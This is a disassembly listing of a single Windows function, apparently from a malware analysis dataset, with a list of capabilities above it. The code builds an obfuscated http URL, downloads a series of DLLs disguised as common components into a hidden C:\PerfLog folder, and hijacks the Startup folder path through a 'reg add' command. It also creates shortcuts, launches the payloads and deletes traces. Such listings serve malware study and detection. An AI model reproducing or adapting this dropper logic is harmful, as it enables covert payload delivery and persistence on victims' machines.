Function at 0x100014e4
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete directory
Download url
Enumerate gui resources
Get common file path
Get file attributes
Receive data
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100179d1
mov eax, dword fs:[0]
push eax
mov eax, 0x1dd8
call fcn.10017640
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, 0x1001dae4
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10001532
or eax, 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1001daf0
mov esi, 0x104
lea eax, [ebp - 0x678]
push esi
push eax
call fcn.10001037
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x678]
add esp, 0xc
push 0
push eax
call ebx
push str.C:PerfLogStartup
lea eax, [ebp - 0x470]
push esi
push eax
call fcn.10001037
add esp, 0xc
lea eax, [ebp - 0x470]
push 0
push eax
call ebx
movaps xmm0, xmmword [0x1001df20]
lea eax, [ebp - 0x48]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [ebp - 0x36c]
mov dword [ebp - 0x1db4], 0x70747468
push eax
mov dword [ebp - 0x1db0], 0x2f2f3a
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x36337472
mov dword [ebp - 0x34], 0x78652e30
mov word [ebp - 0x30], 0x65
call ebx
xor eax, eax
lea edi, [ebp - 0x1be4]
stosd dword es:[edi], eax
pop ecx
pop ecx
push 0x23
stosd dword es:[edi], eax
push ecx
lea ecx, [ebp - 0x1be4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x1bd4], 0
and dword [ebp - 0x1bd0], 0
call fcn.100022b8
and dword [ebp - 4], 0
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1dcc]
call fcn.100021d3
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d94]
mov edx, eax
mov dword [esp], str._Star.dll
call fcn.10002225
pop ecx
lea ecx, [ebp - 0x1dcc]
mov byte [ebp - 4], 3
call fcn.1000217b
cmp dword [ebp - 0x1d80], 0xf
lea eax, [ebp - 0x1d94]
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea ecx, [ebp - 0x36c]
cmova eax, dword [ebp - 0x1d94]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
movaps xmm0, xmmword [0x1001df30]
lea eax, [ebp - 0x60]
mov dword [ebp - 0x50], 0x6578652e
push eax
lea eax, [ebp - 0x880]
mov byte [ebp - 0x4c], 0
push eax
movups xmmword [ebp - 0x60], xmm0
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1de4]
call fcn.100021d3
push str._Cmd.dll
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1d64]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1de4]
mov byte [ebp - 4], 6
call fcn.1000217b
push 0xf
pop edi
cmp dword [ebp - 0x1d50], edi
lea eax, [ebp - 0x1d64]
lea ecx, [ebp - 0x880]
cmova eax, dword [ebp - 0x1d64]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
movaps xmm0, xmmword [str.C:PerfLogQQPC:PerfLogStaC:PerfLogxmp]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x164]
mov dword [ebp - 0x1c], 0x65743072
push eax
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0x652e7463
mov word [ebp - 0x14], 0x6578
mov byte [ebp - 0x12], 0
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1dcc]
call fcn.100021d3
push str._qqwbclient.dll
mov edx, eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1dac]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1dcc]
mov byte [ebp - 4], 9
call fcn.1000217b
cmp dword [ebp - 0x1d98], edi
lea eax, [ebp - 0x1dac]
lea ecx, [ebp - 0x164]
cmova eax, dword [ebp - 0x1dac]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0x19c4]
push str.C:PerfLogmsvcr120.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1de4]
call fcn.100021d3
push str._msvcr120.dll
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1d34]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1de4]
mov byte [ebp - 4], 0xc
call fcn.1000217b
cmp dword [ebp - 0x1d20], edi
lea eax, [ebp - 0x1d34]
lea ecx, [ebp - 0x19c4]
cmova eax, dword [ebp - 0x1d34]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0x1ac8]
push str.C:PerfLogmsvcp120.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1dcc]
call fcn.100021d3
push str._msvcp120.dll
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1d7c]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1dcc]
mov byte [ebp - 4], 0xf
call fcn.1000217b
cmp dword [ebp - 0x1d68], edi
lea eax, [ebp - 0x1d7c]
lea ecx, [ebp - 0x1ac8]
cmova eax, dword [ebp - 0x1d7c]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0x1bcc]
push str.C:PerfLogccenter.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1de4]
call fcn.100021d3
push str._ccenter.dll
mov edx, eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x1d1c]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1de4]
mov byte [ebp - 4], 0x12
call fcn.1000217b
cmp dword [ebp - 0x1d08], edi
lea eax, [ebp - 0x1d1c]
lea ecx, [ebp - 0x1bcc]
cmova eax, dword [ebp - 0x1d1c]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0x984]
push str.C:PerfLogdns2.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1dcc]
call fcn.100021d3
push str._dns2.dll
mov edx, eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1d04]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1dcc]
mov byte [ebp - 4], 0x15
call fcn.1000217b
cmp dword [ebp - 0x1cf0], edi
lea eax, [ebp - 0x1d04]
lea ecx, [ebp - 0x984]
cmova eax, dword [ebp - 0x1d04]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0xa88]
push str.C:PerfLogDuiLib.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1de4]
call fcn.100021d3
push str._DuiLib.dll
mov edx, eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1cec]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1de4]
mov byte [ebp - 4], 0x18
call fcn.1000217b
cmp dword [ebp - 0x1cd8], edi
lea eax, [ebp - 0x1cec]
lea ecx, [ebp - 0xa88]
cmova eax, dword [ebp - 0x1cec]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0xb8c]
push str.C:PerfLogKwHttp.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1dcc]
call fcn.100021d3
push str._KwHttp.dll
mov edx, eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1cd4]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1dcc]
mov byte [ebp - 4], 0x1b
call fcn.1000217b
cmp dword [ebp - 0x1cc0], edi
lea eax, [ebp - 0x1cd4]
lea ecx, [ebp - 0xb8c]
cmova eax, dword [ebp - 0x1cd4]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0xc90]
push str.C:PerfLogKwHttpRequestMgr.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1de4]
call fcn.100021d3
push str._KwHttpRequestMgr.dll
mov edx, eax
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1d4c]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1de4]
mov byte [ebp - 4], 0x1e
call fcn.1000217b
cmp dword [ebp - 0x1d38], edi
lea eax, [ebp - 0x1d4c]
lea ecx, [ebp - 0xc90]
cmova eax, dword [ebp - 0x1d4c]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0xd94]
push str.C:PerfLogKwLib.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1dcc]
call fcn.100021d3
push str._KwLib.dll
mov edx, eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x1cbc]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1dcc]
mov byte [ebp - 4], 0x21
call fcn.1000217b
cmp dword [ebp - 0x1ca8], edi
lea eax, [ebp - 0x1cbc]
cmova eax, dword [ebp - 0x1cbc]
lea ecx, [ebp - 0xd94]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0xe98]
push str.C:PerfLogKwLog.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1de4]
call fcn.100021d3
push str._KwLog.dll
mov edx, eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1ca4]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1de4]
mov byte [ebp - 4], 0x24
call fcn.1000217b
cmp dword [ebp - 0x1c90], edi
lea eax, [ebp - 0x1ca4]
lea ecx, [ebp - 0xe98]
cmova eax, dword [ebp - 0x1ca4]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0xf9c]
push str.C:PerfLogKwModConfig.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1dcc]
call fcn.100021d3
push str._KwModConfig1.dll
mov edx, eax
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x1c8c]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1dcc]
mov byte [ebp - 4], 0x27
call fcn.1000217b
cmp dword [ebp - 0x1c78], edi
lea eax, [ebp - 0x1c8c]
lea ecx, [ebp - 0xf9c]
cmova eax, dword [ebp - 0x1c8c]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0x10a0]
push str.C:PerfLogKwMusicCore.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1de4]
call fcn.100021d3
push str._KwMusicCore.dll
mov edx, eax
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x1c74]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1de4]
mov byte [ebp - 4], 0x2a
call fcn.1000217b
cmp dword [ebp - 0x1c60], edi
lea eax, [ebp - 0x1c74]
lea ecx, [ebp - 0x10a0]
cmova eax, dword [ebp - 0x1c74]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0x11a4]
push str.C:PerfLoglibcurl.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1dcc]
call fcn.100021d3
push str._libcurl.dll
mov edx, eax
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x1c5c]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1dcc]
mov byte [ebp - 4], 0x2d
call fcn.1000217b
cmp dword [ebp - 0x1c48], edi
lea eax, [ebp - 0x1c5c]
lea ecx, [ebp - 0x11a4]
cmova eax, dword [ebp - 0x1c5c]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0x18c0]
push str.C:PerfLogZlib.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1de4]
call fcn.100021d3
push str._Zlib.dll
mov edx, eax
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x1bfc]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1de4]
mov byte [ebp - 4], 0x30
call fcn.1000217b
cmp dword [ebp - 0x1be8], edi
lea eax, [ebp - 0x1bfc]
cmova eax, dword [ebp - 0x1bfc]
xor edx, edx
push edx
push edx
lea ecx, [ebp - 0x18c0]
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0x77c]
push str.C:PerfLogXLBugHandler.dll
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1dcc]
call fcn.100021d3
push str._XLBugHandler.dll
mov edx, eax
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x1c44]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1dcc]
mov byte [ebp - 4], 0x33
call fcn.1000217b
cmp dword [ebp - 0x1c30], edi
lea eax, [ebp - 0x1c44]
lea ecx, [ebp - 0x77c]
cmova eax, dword [ebp - 0x1c44]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0x574]
push 0x1001dd9c
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1de4]
call fcn.100021d3
push str._Client.dll
mov edx, eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x1c2c]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1de4]
mov byte [ebp - 4], 0x36
call fcn.1000217b
cmp dword [ebp - 0x1c18], edi
lea eax, [ebp - 0x1c2c]
lea ecx, [ebp - 0x574]
cmova eax, dword [ebp - 0x1c2c]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
lea eax, [ebp - 0x12a8]
push str.C:PerfLog
push eax
call ebx
lea eax, [ebp - 0x1be4]
push eax
lea edx, [ebp - 0x1db4]
lea ecx, [ebp - 0x1dcc]
call fcn.100021d3
push str._Cllent.dll
mov edx, eax
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x1c14]
call fcn.10002225
add esp, 0x10
lea ecx, [ebp - 0x1dcc]
mov byte [ebp - 4], 0x39
call fcn.1000217b
cmp dword [ebp - 0x1c00], edi
lea eax, [ebp - 0x1c14]
lea ecx, [ebp - 0x12a8]
cmova eax, dword [ebp - 0x1c14]
xor edx, edx
push edx
push edx
push ecx
push eax
push edx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2710
call esi
push str.start_____C:PerfLog
call fcn.10006291
pop ecx
lea eax, [ebp - 0x13ac]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.100011dd
push eax
lea eax, [ebp - 0x13ac]
push eax
lea eax, [ebp - 0x268]
push str._sStarUP
push eax
call ebx
add esp, 0x10
lea eax, [ebp - 0x268]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.100011dd
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x15b4]
push str.___s002.lnk
push eax
call ebx
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0x14b0]
push str.add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v__Startup___t_REG_EXPAND_SZ__d___s___f
push eax
call ebx
lea eax, [ebp - 0x14b0]
push eax
lea edx, [ebp - 0x36c]
lea ecx, [ebp - 0x15b4]
call fcn.10001230
call fcn.100011dd
push eax
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0x17bc]
push 0x1001dee8
push eax
call ebx
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x16b8]
push str.___s001.lnk
push eax
call ebx
lea eax, [ebp - 0x16b8]
push eax
lea edx, [ebp - 0x164]
lea ecx, [ebp - 0x17bc]
call fcn.10001230
add esp, 0x40
push 0x3e8
call esi
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x268]
xor ecx, ecx
push ecx
push ecx
push ecx
push eax
push str.open
push ecx
call ebx
mov edi, dword [sym.imp.USER32.dll_EnumWindows]
cmp eax, 0x20
jle 0x10001f9a
push 0x7d0
call esi
push 0
push 0x10001477
call edi
push 0x7d0
call esi
xor ecx, ecx
lea eax, [ebp - 0x164]
push ecx
push ecx
push ecx
push eax
push str.open
push ecx
call ebx
cmp eax, 0x20
jle 0x10001fca
push 0x7d0
call esi
push 0
push 0x10001477
call edi
push 0x7d0
call esi
lea eax, [ebp - 0x36c]
push eax
call fcn.1000610c
lea eax, [ebp - 0x880]
push eax
call fcn.1000610c
lea eax, [ebp - 0x77c]
push eax
call fcn.1000610c
lea eax, [ebp - 0x574]
push eax
call fcn.1000610c
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp - 0x268]
add esp, 0x10
push eax
call esi
lea eax, [ebp - 0x678]
push eax
call esi
lea ecx, [ebp - 0x1c14]
call fcn.1000217b
lea ecx, [ebp - 0x1c2c]
call fcn.1000217b
lea ecx, [ebp - 0x1c44]
call fcn.1000217b
lea ecx, [ebp - 0x1bfc]
call fcn.1000217b
lea ecx, [ebp - 0x1c5c]
call fcn.1000217b
lea ecx, [ebp - 0x1c74]
call fcn.1000217b
lea ecx, [ebp - 0x1c8c]
call fcn.1000217b
lea ecx, [ebp - 0x1ca4]
call fcn.1000217b
lea ecx, [ebp - 0x1cbc]
call fcn.1000217b
lea ecx, [ebp - 0x1d4c]
call fcn.1000217b
lea ecx, [ebp - 0x1cd4]
call fcn.1000217b
lea ecx, [ebp - 0x1cec]
call fcn.1000217b
lea ecx, [ebp - 0x1d04]
call fcn.1000217b
lea ecx, [ebp - 0x1d1c]
call fcn.1000217b
lea ecx, [ebp - 0x1d7c]
call fcn.1000217b
lea ecx, [ebp - 0x1d34]
call fcn.1000217b
lea ecx, [ebp - 0x1dac]
call fcn.1000217b
lea ecx, [ebp - 0x1d64]
call fcn.1000217b
lea ecx, [ebp - 0x1d94]
call fcn.1000217b
lea ecx, [ebp - 0x1be4]
call fcn.1000217b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10002629
leave
ret